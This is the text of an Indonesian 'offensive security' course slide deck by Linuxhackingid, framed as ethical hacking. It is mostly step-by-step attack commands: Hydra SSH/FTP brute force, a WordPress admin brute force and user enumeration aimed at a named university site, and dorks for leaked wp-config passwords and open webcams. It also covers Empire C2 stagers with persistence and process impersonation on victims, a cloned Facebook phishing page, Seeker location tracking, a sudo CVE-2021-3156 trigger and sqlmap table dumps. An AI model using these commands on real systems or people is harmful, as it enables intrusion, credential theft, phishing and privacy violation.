PDF Offensive Security V3 Linuxhackingid (New Version)

Official From Linuxhackingid

Offensive Security is a proactive approach to cybersecurity that focuses on finding and exploiting weaknesses in systems before malicious attackers do.

Objectives of PDF Offensive Security:

Think Like an Ethical Hacker: Learn how to perform penetration testing to find and exploit vulnerabilities in your systems.
Simulating Attacks: Simulate attacks like a real hacker to test the effectiveness of your defenses.
Improve Security Capabilities: Improve your understanding of various hacking techniques and how to counter them.

1. OFFENSIVE SECURITY
https://linuxhacking.or.id
ZSecurity
Version: 3

2. Linuxhackingid adalah sebuah organisasi cybersecurity yang didirikan pada tahun 2019. Mereka
memiliki fokus untuk membantu individu dan organisasi dalam mempelajari keamanan siber, baik
Offensive Security maupun Defensive Security
PROFILE
https://linuxhacking.or.id

3. OUR AUTHOR
ZSecurity
Founder Linuxhackingid
https://t.me/linuxhackingid [email protected] https://linuxhacking.or.id

4. BASIC PORT
NETWORK
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

5. PORT
https://t.me/linuxhackingid https://linuxhacking.or.id
Port adalah nomor yang mengidentifikasi titik akhir koneksi dan
mengarahkan data ke layanan tertentu
[email protected]

6. KATEGORI PORT NUMBER
Well-Known Ports 0-1023
Registered Ports 1024-49151
Dynamic ports 49152-65535
https://t.me/linuxhackingid https://[email protected]

7. NMAP PORT
SCANNING
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

8. PORT SCANNING
https://t.me/linuxhackingid https://linuxhacking.or.id
Port Scanning adalah metode yang menentukan port mana di jaringan
yang terbuka dan dapat menerima atau mengirim data.
[email protected]

9. TOOLS PORT SCANNING
https://t.me/linuxhackingid https://linuxhacking.or.id
Nmap
Netcat
Masscan
Advanced Port Scanner
TCPView
[email protected]

10. NMAP PORT SCANNER
https://t.me/linuxhackingid https://linuxhacking.or.id
nmap <IP Address/FQDN>
Contoh: nmap 192.168.23.1
nmap linuxhacking.or.id
4 Port yang terbuka
[email protected]

11. NMAP DETECT OS
https://t.me/linuxhackingid https://linuxhacking.or.id
Contoh: sudo nmap -O <IP Address/FQDN>
sudo nmap -O 192.168.0.1
[email protected]

12. DNS
ENUMERATION
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

13. DNS
https://t.me/linuxhackingid https://linuxhacking.or.id
DNS, atau Domain Name System, adalah sistem yang menerjemahkan nama
domain menjadi alamat IP. Ini seperti operator di buku telepon yang membantumu
menemukan nomor telepon yang tepat.
[email protected]

14. DNS ENUMERATION
https://t.me/linuxhackingid https://linuxhacking.or.id
https://dnsdumpster.com/
[email protected]

15. WORDPRESS
HACKING
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

16. WORDPRESS ENUMERATION
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo wpscan --url <IP Address/FQDN>
sudo wpscan --url https://www.uinsalatiga.ac.id
[email protected]

17. WORDPRESS USER ENUMERATION
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo wpscan --url <IP Address/FQDN> --enumerate u
sudo wpscan --url https://www.uinsalatiga.ac.id/ --enumerate u
[email protected]

18. WORDPRESS BRUTEFORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo wpscan --url <IP Address/FQDN> --passwords
/usr/share/wordlists/rockyou.txt --usernames admin
sudo wpscan --url https://www.uinsalatiga.ac.id/ --passwords
/usr/share/wordlists/john.lst --usernames admin
[email protected]

19. CMS ENUMERATION
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo cmseek
[email protected]

20. DAPETIN FILE DATABASE WORDPRESS
https://t.me/linuxhackingid https://linuxhacking.or.id
filetype:sql inurl:wp-content/*
[email protected]

21. DAPETIN CONFIG WORDPRESS
https://t.me/linuxhackingid https://linuxhacking.or.id
inurl:wp-config -intext:wp-config
"'DB_PASSWORD'"
[email protected]

22. VNC PASSWORD
DECRYPTOR
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

23. VNC PASSWORD DECRYPTOR
https://t.me/linuxhackingid https://linuxhacking.or.id
git clone https://github.com/jeroennijhof/vncpwd.git
cd vncpwd
make
./vncpwd ../.vnc/passwd
[email protected]

24. BRUTE FORCE
ATTACK
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

25. BRUTE FORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
metode peretasan yang menggunakan trial and error untuk memecahkan kata
sandi, kredensial login, dan kunci enkripsi.
Tools yang akan kita gunakan adalah Hydra.
[email protected]

26. HYDRA SERVICE SUPPORTED
adam6500 asterisk cisco cisco-enable cobaltstrike cvs firebird ftp[s] http[s]-
{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s]
irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis
rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh
sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
https://t.me/linuxhackingid https://[email protected]

27. SSH BRUTEFORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
Spesifik Username dan Password
sudo hydra -l user -p ubuntu ssh://192.168.23.144 -t 10
Spesifik Username dan Password Wordlist
sudo hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://192.168.23.144 -t 10
Kredensial:
Target: 192.168.23.144
Username: user
Password: ubuntu
Service: SSH
[email protected]

28. SSH BRUTEFORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
Username Wordlist dan Spesifik Password
sudo hydra -L /usr/share/wordlists/legion/ssh-user.txt -p ubuntu
ssh://192.168.23.144 -t 10
Username Wordlist dan Password Wordlist
sudo hydra -L /usr/share/wordlists/legion/ssh-user.txt -P
/usr/share/wordlists/rockyou.txt ssh://192.168.23.144 -t 10
[email protected]

29. SSH BRUTEFORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
Kredensial berhasil didapat
[email protected]

30. FTP BRUTEFORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
Spesifik Username dan Password
sudo hydra -l user -p ubuntu ftp://192.168.23.144 -t 10
Spesifik Username dan Password Wordlist
sudo hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://192.168.23.144 -t 10
Kredensial:
Target: 192.168.23.144
Username: user
Password: ubuntu
Service: FTP
[email protected]

31. FTP BRUTEFORCE ATTACK
https://t.me/linuxhackingid https://linuxhacking.or.id
Username Wordlist dan Spesifik Password
sudo hydra -L /usr/share/wordlists/legion/ssh-user.txt -p ubuntu
ftp://192.168.23.144 -t 10
Username Wordlist dan Password Wordlist
sudo hydra -L /usr/share/wordlists/legion/ssh-user.txt -P
/usr/share/wordlists/rockyou.txt ftp://192.168.23.144 -t 10
[email protected]

32. CRACKING
PASSWORD ZIP
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

33. CRACKING ZIP PASSWORD
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo apt install fcrackzip
sudo fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt test.zip
[email protected]

34. COMMAND AND
CONTROL
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

35. C2
https://t.me/linuxhackingid https://linuxhacking.or.id
Command and Control adalah komputer yang dikendalikan oleh penyerang
atau penjahat dunia maya yang digunakan untuk mengirim perintah ke
sistem yang disusupi malware dan menerima data curian dari jaringan target
[email protected]://t.me/linuxhackingid https://[email protected]

36. EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
Empire adalah kerangka kerja Command and Control (C2) terkenal yang
digunakan peretas dalam serangan dunia maya di dunia nyata. Ini telah
digunakan untuk menargetkan perusahaan-perusahaan besar melalui email
phishing, eksploitasi sistem TI yang bersifat publik, dan serangan-serangan
yang merugikan. Ini juga merupakan salah satu kerangka kerja C2 sumber
terbuka yang paling banyak digunakan oleh pentester dan Red Team
[email protected]://t.me/linuxhackingid https://[email protected]

37. KOMPONEN EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
Empire Server: digunakan untuk server C2
Empire Client: untuk berkomunikasi dengan server
[email protected]

38. INSTALL EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo apt install powershell-empire
[email protected]

39. RUNNING EMPIRE C2 SERVER
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo powershell-empire server
[email protected]

40. RUNNING EMPIRE C2 CLIENT
https://t.me/linuxhackingid https://linuxhacking.or.id
sudo powershell-empire client
[email protected]

41. SET LISTENER EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
uselistener http
set Port 1335
execute
back
[email protected]

42. SET STAGER EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
usestager windows_cmd_exec
set Listener http
generate
[email protected]

43. EKSEKSUSI AGENT DI KORBAN
https://t.me/linuxhackingid https://linuxhacking.or.id
Eksekusi hasil dari file yang sudah di buat oleh Empire ke korban
[email protected]

44. NEW AGENT EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
Setelah di eksekusi oleh target, akan muncul informasi bahwa agent dari
FZX6C23T dapat dieksekusi oleh attacker.
[email protected]

45. LIST AGENT EMPIRE C2
https://t.me/linuxhackingid https://linuxhacking.or.id
Agar kita dapat melihat agent yang sudah terkompromise dengan file kita, dapat
menjalankan perintah, agents
[email protected]

46. MENGHUBUNGKAN
AGENT KE KORBAN
https://t.me/linuxhackingid https://linuxhacking.or.id
perintah interact <ID> dapat menghubungkan ke target yang kita ingin eksekusi
[email protected]

47. EKSEKUSI COMMAND
KE KORBAN
https://t.me/linuxhackingid https://linuxhacking.or.id
perintah whoami dapat melihat user target yang menjalankan malware empire
[email protected]

48. MELIHAT ISI
DIRECTORY KORBAN
https://t.me/linuxhackingid https://linuxhacking.or.id
perintah dir dapat melihat isi directory target
[email protected]

49. PERSISTENT AKSES
Anda dapat melakukan persistent agar ketika laptop korban di restart atau
dimatikan, Anda masih dapat memiliki akses ke laptop korban.
usemodule powershell_persistence_elevated_schtasks
set Listener http
execute
https://t.me/linuxhackingid https://[email protected]

50. IMPERSONATE PROCESS ID
Anda dapat melakukan impersonate process agar ketika dilihat pada task
manager, malware kita menirukan proses yang ingin kita tirukan.
usemodule csharp_sharpsploit.credentials_impersonateprocess
set ProcessID <ID> (Dalam Contoh ini ID nya 6596 adalah ID notepad.exe)
execute
https://t.me/linuxhackingid https://[email protected]

51. AUTO
EXPLOITATION
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

52. AUTO EXPLOIT DENGAN
METASPLOIT PRO
https://t.me/linuxhackingid https://[email protected]
Pilih Quick Pentest dan masukan alamat IP Address target.
https://t.me/linuxhackingid https://[email protected]

53. PROSES SCANNING
METASPLOIT PRO
https://t.me/linuxhackingid https://[email protected]

54. SCANNED HOST DI
LINUXHACKINGID LAB
https://t.me/linuxhackingid https://[email protected]
SVCS: Services
VLNS: Vulnerabilities
ATT: Attempts

55. NETWORK TOPOLOGI
https://t.me/linuxhackingid https://[email protected]

56. DETAIL SERVICE PADA HOST
https://t.me/linuxhackingid https://[email protected]

57. AUTO EXPLOIT VULNERABILITIES
https://t.me/linuxhackingid https://[email protected]

58. TERDAPAT 3 SESSION
https://t.me/linuxhackingid https://[email protected]
Terdapat 3 session yang aktif yang dimana bisa dimanfaatkan untuk
mendapatkan akses di laptop korban

59. MASUK KE SHELL DARI
SALAH SATU SESSIONS
https://t.me/linuxhackingid https://[email protected]
Attacker bisa langsung kontrol
system target melalui terminal
Warna Kuning: Perintah eksekusi
dari attacker
Warna Putih: Hasil dari perintah
yang di eksekusi oleh attacker

60. METASPLOIT PRO REPORT
https://t.me/linuxhackingid https://[email protected]
Masuk tab Reports lalu pilih Create Standard
Report dan hasilnya terdapat pada gambar
sebelah kiri

61. METASPLOIT PRO
https://t.me/linuxhackingid https://[email protected]
Metasploit Pro: https://t.me/zsecur1ty

62. SQL INJECTION
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

63. DAPETIN DATABASE
PADA WEB PEMERINTAH
https://t.me/linuxhackingid https://[email protected]
https://youtu.be/cyBJQXmfUO4?si=nI_y3yxbqMOXu4h8

64. FREE VPS
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

65. VPS GRATIS
https://t.me/linuxhackingid https://[email protected]
https://youtu.be/7eBL3y2GbiI?si=qSO3R8YuGP1OGR7w

66. CHANGE IP
EVERY 5 SECOND
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

67. RUBAH ALAMAT IP
ADDRESS SETIAP 5 DETIK
https://t.me/linuxhackingid https://[email protected]
https://youtu.be/jl6hTOz9lEs?si=2DbjQDmGVMXep7h1

68. VULNERABILITY
SCANNER-NMAP
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

69. MENDETEKSI KERENTANAN
DENGAN NMAP
https://t.me/linuxhackingid https://[email protected]
nmap --script=vuln -p- <IP Address/FQDN>
nmap --script=vuln -p- 192.168.23.132

70. VULNERABILITY
SCANNER-INSIGHTVM
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

71. RAPID7 INSIGHTVM
VULNERABILITY SCANNER
https://t.me/linuxhackingid https://[email protected]
https://www.rapid7.com/products/insightvm/download/
Download:

72. INSIGHTVM LOGIN PAGE
https://t.me/linuxhackingid https://[email protected]

73. CREATE SITE SCAN
https://t.me/linuxhackingid https://[email protected]
Klik Create Site

74. CREATE NAME OF SCAN
https://t.me/linuxhackingid https://[email protected]

75. CEK IP ADDRESS TARGET
https://t.me/linuxhackingid https://[email protected]
IP Address:
192.168.23.132

76. SET IP ADDRESS TARGET
DI INSIGHTVM
Masuk ke Assets
dan input IP
Address Target
https://t.me/linuxhackingid https://[email protected]

77. SAVE DAN SCAN
klik Save and Scan
https://t.me/linuxhackingid https://[email protected]

78. HASIL DARI SCAN
Risk Score
https://t.me/linuxhackingid https://[email protected]
Risk Score adalah
tingkat keparahan
dari target melalui
perhitungan dari
Rapid7 Insightvm.
Dalam hal ini total
tingkat keparahan
dari sistem sebesar
365,760

79. LIST VULNERABILITY
vulnerability
https://t.me/linuxhackingid https://[email protected]
Terdapat 709
Vulnerability dari
sistem target
https://t.me/linuxhackingid https://[email protected]

80. INSIGHTVM CLOUD DASHBOARD
https://t.me/linuxhackingid https://[email protected]

81. VIDEO INSIGHTVM
https://t.me/linuxhackingid https://[email protected]
https://youtu.be/ACTK4qf4K84?si=onY2hCw0CFAzVgX-

82. BUFFER
OVERFLOW
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

83. BUFFER OVERFLOW
https://t.me/linuxhackingid https://[email protected]
buffer overflow terjadi ketika suatu program menulis data ke buffer di
luar memori yang dialokasikan, menimpa lokasi memori yang
berdekatan.

84. JENIS BUFFER OVERFLOW
https://t.me/linuxhackingid https://linuxhacking.or.id
Stack-based buffer overflows lebih umum terjadi, dan memanfaatkan
memori tumpukan yang hanya ada selama waktu eksekusi fungsi.
Heap-based attacks lebih sulit untuk dilakukan dan melibatkan
pembanjiran ruang memori yang dialokasikan untuk sebuah program di
luar memori yang digunakan untuk operasi runtime saat ini.
[email protected]

85. CONTOH STACK-BUFFER
OVERFLOW
https://t.me/linuxhackingid https://linuxhacking.or.id
Note: hanya menerima 9 karakter sebagai buffer
[email protected]
https://pastebin.com/SSZECSSv

86. CONTOH STACK-BUFFER
OVERFLOW
Contoh input melewati buffer
https://t.me/linuxhackingid https://linuxhacking.or.id
Contoh input tanpa melewati buffer
[email protected]
menandakan melibih buffer
yang diberikan, terletak di
angka 0 karena buffer hanya
diterima 9 karakter saja

87. MITIGASI BUFFER
OVERFLOW CODE
https://t.me/linuxhackingid https://linuxhacking.or.id
https://pastebin.com/F7bveezX
[email protected]
Fungsi std::cin.getline() memungkinkan Anda untuk
menentukan panjang maksimum string yang ingin
Anda baca
Tidak Error
https://t.me/linuxhackingid https://[email protected]

88. CONTOH HEAP-BUFFER
OVERFLOW
https://t.me/linuxhackingid https://linuxhacking.or.id
Salah satu contoh dari kerentanan sudoedit pada CVE-2021-3156
[email protected]
Vulnerable BoF
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Exploit

89. BEBERAPA REGISTER
YANG PENTING
https://t.me/linuxhackingid https://linuxhacking.or.id
%rip: memberi tahu komputer dengan tepat baris instruksi mana yang harus
dibaca dan dijalankan selanjutnya.
%rsp: Register ini menyimpan alamat bagian atas tumpukan. Ini adalah
alamat dari elemen terakhir pada stack.
%rbp: Register %rbp biasanya di set ke %rsp pada awal fungsi. Hal ini
dilakukan untuk mencatat parameter fungsi dan variabel lokal.
[email protected]

90. PYTHON
HACKING
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

91. PACKET INJECTION
https://t.me/linuxhackingid https://[email protected]
https://pastebin.com/hFDLJ51X

92. PACKET INJECTION
https://t.me/linuxhackingid https://[email protected]
Berhasil me-injeksi
paket dengan
custom source IP
Address dan
Source Port

93. PYTHON HACKING COURSE
https://t.me/linuxhackingid https://[email protected]
https://linuxhacking.or.id/product/practi
cal-python3-hacking-for-beginner/

94. TRACKING LOCATION +
SOCIAL ENGINEERING
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

95. INSTALASI
https://t.me/linuxhackingid https://[email protected]
git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod +x install.sh
./install.sh
https://github.com/thewhiteh4t/seeker

96. KONFIGURASI SEEKER
https://t.me/linuxhackingid https://[email protected]
./seeker.py
Sesuaikan Template yang Anda inginkan, dalam contoh ini pilih no 2
Sesuaikan dengan
keinginan Anda

97. TUNNELING
ssh -R 80:localhost:8080
[email protected]
https://t.me/linuxhackingid https://[email protected]
Fungsi Tunneling adalah agar IP Address dan Port Lokal dapat diakses dari luar jaringan
Link yang perlu
diakses
https://t.me/linuxhackingid https://[email protected]

98. TAMPILAN HALAMAN
https://t.me/linuxhackingid https://[email protected]

99. LIVE PRACTICAL SOCIAL
ENGINEERING TEST
https://t.me/linuxhackingid https://[email protected]

100. LOG SEEKER
https://t.me/linuxhackingid https://[email protected]

101. ADVANCED PHISHING
SIMULATION
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

102. ADVANCED PHISHING SIMULATION
METASPLOIT PRO
https://t.me/linuxhackingid https://[email protected]

103. Isi Project Name dengan
nama apapun
https://t.me/linuxhackingid https://[email protected]
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

104. Isi Name dengan nama apapun
https://t.me/linuxhackingid https://[email protected]
Klik yang dikotakan
Lalu klik Web Page
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

105. Pilih Phishing
https://t.me/linuxhackingid https://[email protected]
Masukan URL Redirect
ketika korban submit
phishing.
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

106. https://t.me/linuxhackingid https://[email protected]
Masuk ke menu Content
terletak di paling atas
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

107. https://t.me/linuxhackingid https://[email protected]
Klik Clone Website
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

108. https://t.me/linuxhackingid https://[email protected]
Dalam Contoh ini, kita
ingin membuat
phishing facebook,
copy link nya
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

109. https://t.me/linuxhackingid https://[email protected]
paste Link yang ingin
ditirukan dan klik
Clone
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

110. https://t.me/linuxhackingid https://[email protected]
Klik Web Server
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

111. https://t.me/linuxhackingid https://[email protected]
Masukan DNS
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

112. https://t.me/linuxhackingid https://[email protected]
Klik Launch Campaign
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

113. https://t.me/linuxhackingid https://[email protected]
Hasil dari Cloning
Metasploit Pro
imitasi Domain
ADVANCED PHISHING SIMULATION
METASPLOIT PRO

114. https://t.me/linuxhackingid https://[email protected]
Hasil Phishing
ADVANCED PHISHING SIMULATION
METASPLOIT PRO
https://t.me/linuxhackingid https://[email protected]

115. METASPLOIT PRO
https://t.me/linuxhackingid https://[email protected]
Metasploit Pro: https://t.me/zsecur1ty

116. WEBCAM
HACKING
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

117. https://t.me/linuxhackingid https://[email protected]
intitle:"webcam 7" inurl:'/gallery.html'
WEBCAM HACKING

118. https://t.me/linuxhackingid https://[email protected]
WEBCAM HACKING

119. ACUNETIX WEB
VULNERABILITY
SCANNER
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

120. https://t.me/linuxhackingid https://[email protected]
ACUNETIX

121. https://t.me/linuxhackingid https://[email protected]
ACUNETIX
Membuat target baru

122. Masukan domain target
yang ingin kita scan
https://t.me/linuxhackingid https://[email protected]
ACUNETIX
Jika sudah klik Save

123. Klik Scan
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

124. Hasil Scanning
Acunetix
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

125. Hasil
Vulnerabilities,
Terdapat 181
temuan kerentanan
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

126. Detail
Vulnerability
SQL Injection
https://t.me/linuxhackingid https://[email protected]
ACUNETIX
Exploit POC

127. HTTP Request
Exploit
Detail
Vulnerability
SQL Injection
https://t.me/linuxhackingid https://[email protected]
ACUNETIX
Detail Vulnerability
SQL Injection
Proof Vulnerability
SQL Injection

128. Validasi kerentanan
SQL Injection
https://t.me/linuxhackingid https://[email protected]
ACUNETIX
URL Request

129. Hasil Crawling
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

130. Dari hasil temuan dari Acunetix, dapat
langsung diimport ke WAF (Web
Application Firewall, yang nantinya akan
melakukan virtual patching dari sisi
firewall
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

131. Reporting Executive Summary
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

132. Template report yang
tersedia pada Acunetix
https://t.me/linuxhackingid https://[email protected]
ACUNETIX

133. ACUNETIX
https://t.me/linuxhackingid https://[email protected]
Acunetix: https://t.me/zsecur1ty

134. ACUNETIX SQLMAP
= DATABASE DUMP
EXPLORE THE DARKSIDE: MASTER THE ART OF
ETHICAL HACKING
The Red Team isn't always successful in
its attacks, and the Blue Team doesn't
always successfully defend.
ZSecurity

135. HTTP Request
Exploit
https://t.me/linuxhackingid https://[email protected]
ACUNETIX + SQLMAP
HTTP Response
Exploit

136. URL Exploit
https://t.me/linuxhackingid https://[email protected]
ACUNETIX + SQLMAP

137. sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs --batch
https://t.me/linuxhackingid https://[email protected]
ACUNETIX + SQLMAP
Hasil Database

138. sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables --batch
https://t.me/linuxhackingid https://[email protected]
ACUNETIX + SQLMAP
Hasil Tables

139. sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users --columns --batch
https://t.me/linuxhackingid https://[email protected]
ACUNETIX + SQLMAP
Hasil Kolom

140. sqlmap.py -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart -T users -C name,email,pass --dump --batch
https://t.me/linuxhackingid https://[email protected]
ACUNETIX + SQLMAP
Hasil Data dalam kolom

141. PERTANYAAN?
https://t.me/linuxhackingid https://[email protected]
Jika terdapat pertanyaan dapat kontak melalui:
https://t.me/zsecur1ty
https://www.instagram.com/linuxhackingid_official/

142. TERIMAKASIH
https://t.me/linuxhackingid https://[email protected]